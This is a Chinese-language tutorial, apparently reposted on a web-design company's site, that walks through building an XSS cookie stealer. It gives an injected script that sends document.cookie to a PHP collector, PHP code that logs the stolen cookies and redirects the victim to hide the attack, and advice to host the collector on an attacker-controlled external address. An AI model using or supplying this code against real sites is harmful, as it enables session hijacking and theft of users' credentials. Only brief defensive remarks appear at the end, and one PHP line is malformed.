JS寫XSScookiestealer來竊取密碼的步驟詳解

JavaScript是web中最常用的腳本開發(fā)語言,js可以自動執(zhí)行站點組件,管理站點內(nèi)容,在web業(yè)內(nèi)實現(xiàn)其他有用的函數(shù)。JS可以有很多的函數(shù)可以用做惡意用途,包括竊取含有密碼等內(nèi)容的用戶cookie。

創(chuàng)新互聯(lián)是一家集網(wǎng)站建設(shè),石樓企業(yè)網(wǎng)站建設(shè),石樓品牌網(wǎng)站建設(shè),網(wǎng)站定制,石樓網(wǎng)站建設(shè)報價,網(wǎng)絡(luò)營銷,網(wǎng)絡(luò)優(yōu)化,石樓網(wǎng)站推廣為一體的創(chuàng)新建站企業(yè),幫助傳統(tǒng)企業(yè)提升企業(yè)形象加強企業(yè)競爭力??沙浞譂M足這一群體相比中小企業(yè)更為豐富、高端、多元的互聯(lián)網(wǎng)需求。同時我們時刻保持專業(yè)、時尚、前沿,時刻以成就客戶成長自我,堅持不斷學(xué)習(xí)、思考、沉淀、凈化自己,讓我們?yōu)楦嗟钠髽I(yè)打造出實用型網(wǎng)站。

Cookie是站點請求和保持特定訪問頁面的信息。Cookie含有訪問的方式、時間、用戶名密碼等認(rèn)證信息等。當(dāng)用戶訪問給定站點時,必須使用cookie;如果攻擊者可以攔截cookie,就可以利用cookie竊取用戶的一些信息。對某個特定的域名,使用JS可以保存或修改用戶的cookie。也就是說,如果攻擊者可以利用JS查看、修改cookie,那么這可以變成一種有價值的黑客技術(shù)。

基于JS的攻擊可以有效地與代碼注入等技術(shù)相結(jié)合,這可能造成惡意代碼在可信的網(wǎng)站上執(zhí)行。

下面開始創(chuàng)建XSS cookie stealer

Step 1: 創(chuàng)建 HTML Test 頁

首先,創(chuàng)建一個標(biāo)準(zhǔn)的HTML頁

mkdir cookiestealer
cd cookiestealer
touch index.html

JS寫XSS cookie stealer來竊取密碼的步驟詳解

然后,編輯index.html

nano index.html
<html>
<body>
</body>
</html>

測試頁面

JS寫XSS cookie stealer來竊取密碼的步驟詳解

Step 2: 創(chuàng)建Cookie

創(chuàng)建一個可以插入到cookie中的基本參數(shù)——字符串。這個cookie只能用于本頁面中,同樣的,之后的注入也應(yīng)用于該頁面保存的所有cookie。

 <script type="text/javascript">document.cookie = "username=Null Byte";</script>

該腳本要插入到HTML的<body>部分,如下:

JS寫XSS cookie stealer來竊取密碼的步驟詳解

如果運行該腳本的頁面打開了,那么就會設(shè)定cookie,但是瀏覽器中不會顯示任何東西。我們可以用document.write函數(shù)直接查看cookie。

document.write(document.cookie);

同樣功能的腳本如下:

 <script type="text/javascript">
 document.cookie = "username=Null Byte";
 document.write(document.cookie);
 </script>

JS寫XSS cookie stealer來竊取密碼的步驟詳解

在瀏覽器中打開頁面,就會出現(xiàn)如下的cookie信息:

JS寫XSS cookie stealer來竊取密碼的步驟詳解

說明我們成功地為這個頁面設(shè)置了"username=Null Byte" 的cookie。

Step 3: 用js腳本竊取Cookies

我們用來傳遞cookies到

在本例中,PHP文件定位到localhost(127.0.0.1)。

如果目標(biāo)是社交媒體網(wǎng)站,腳本需要注入到該站點中,竊取的cookies要發(fā)送給黑客控制的IP或URL。

把js代碼嚇到<script>標(biāo)簽中:

<script type="text/javascript">
 document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;
 </script>

HTML頁面代碼應(yīng)該是下面這樣:

JS寫XSS cookie stealer來竊取密碼的步驟詳解

剩下對cookie進行處理的部分需要PHP來處理。

Step 4: 用PHP處理Cookies

在上面的例子中,竊取cookie的PHP文件是cookiestealer.php,位于127.0.0.1網(wǎng)址下。

在實際運行中,不能用cookiestealer.php這么明顯的名字,而且應(yīng)該位于外部IP或URL下。

首先,在index.html相同目錄下創(chuàng)新PHP文件。

nano cookiestealer.php

第一個元素需要定義的是重定向頁面跳轉(zhuǎn)。

<?php
header ('Location:https://google.com');
?>

為了不讓用戶意識到可能遭到攻擊,最好重定向用戶到相同域下的其他頁面,這樣用戶就不會意識到。

JS寫XSS cookie stealer來竊取密碼的步驟詳解

重定向完成后,需要其他代碼來處理cookie。

1. 分配cookie到一個變量;

$cookies = $_GET"c";

2. 定義保存cookie的文件,這個文件保存的位置應(yīng)該是我們控制的。

本例中,文件名為log.txt。

 $file = fopen('log.txt', 'a');

3. 把上面的兩個參數(shù)的內(nèi)容寫入log文件,即將cookie寫入log.txt。

fwrite($file, $cookies . "nn");

代碼如下:

JS寫XSS cookie stealer來竊取密碼的步驟詳解

然后,需要準(zhǔn)備PHP文件的測試環(huán)境。

Step 5: 測試Cookie Stealer

在index.html 和 cookiestealer.php相同目錄下,搭建一個測試用的PHP環(huán)境。

php -S 127.0.0.1:80

JS寫XSS cookie stealer來竊取密碼的步驟詳解

頁面測試成功。

JS寫XSS cookie stealer來竊取密碼的步驟詳解

打開頁面之后,瀏覽器會馬上重定向到預(yù)定義的網(wǎng)站,即Google。

JS寫XSS cookie stealer來竊取密碼的步驟詳解

查看PHP服務(wù)器的日志,我們注意到傳遞給php文件一個參數(shù),而且php代碼執(zhí)行了。

JS寫XSS cookie stealer來竊取密碼的步驟詳解

最后,我們可以檢查我們網(wǎng)站目錄下的log.txt文件來查看cookies。

cat log.txt

JS寫XSS cookie stealer來竊取密碼的步驟詳解

Log文件中含有cookie的內(nèi)容,說明我們成功的使用js代碼竊取了cookies。

Step 6: 攻擊

Cookies含有重要的用戶信息,一般是明文的,有時甚至含有私鑰信息。所以非常重要,使用js代碼注入可以竊取用戶的cookies信息。

該攻擊可以注入到任何的HTML文件的<script>標(biāo)簽中。常用的檢測XSS的方法是使用alert。

<script>alert("Alert");</script>

該腳本會嘗試打開類似下面的alert信息。如果打開了,說明網(wǎng)站易受到xss攻擊。

JS寫XSS cookie stealer來竊取密碼的步驟詳解

在現(xiàn)實的攻擊中,黑客會特別注意PHP文件的位置。如果處理得不好,php文件會容易暴露黑客的位置。如果這種攻擊出現(xiàn)了,那么根據(jù)cookie被發(fā)送和保存的位置,可以追蹤黑客。

上面的方法說明了JS作為攻擊工具的強大性。JS可以讓web更方便 ,如果某個網(wǎng)站易受到惡意JS注入,這會給用戶和網(wǎng)站帶來巨大的安全威脅。預(yù)防XSS攻擊的重?fù)?dān)落在了web開發(fā)者的身上。如果用戶認(rèn)為運行在網(wǎng)站上的腳本是不可信的,也可以使用NoScript來阻止js代碼的運行。

總結(jié)

以上所述是小編給大家介紹的JS寫XSS cookie stealer來竊取密碼的步驟詳解,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復(fù)大家的。在此也非常感謝大家對創(chuàng)新互聯(lián)網(wǎng)站的支持!

本文標(biāo)題:JS寫XSScookiestealer來竊取密碼的步驟詳解
文章地址:http://bm7419.com/article32/jjscpc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)頁設(shè)計公司做網(wǎng)站、服務(wù)器托管響應(yīng)式網(wǎng)站、網(wǎng)站排名、定制開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

猜你還喜歡下面的內(nèi)容

成都網(wǎng)頁設(shè)計公司

品牌網(wǎng)站設(shè)計知識

同城分類信息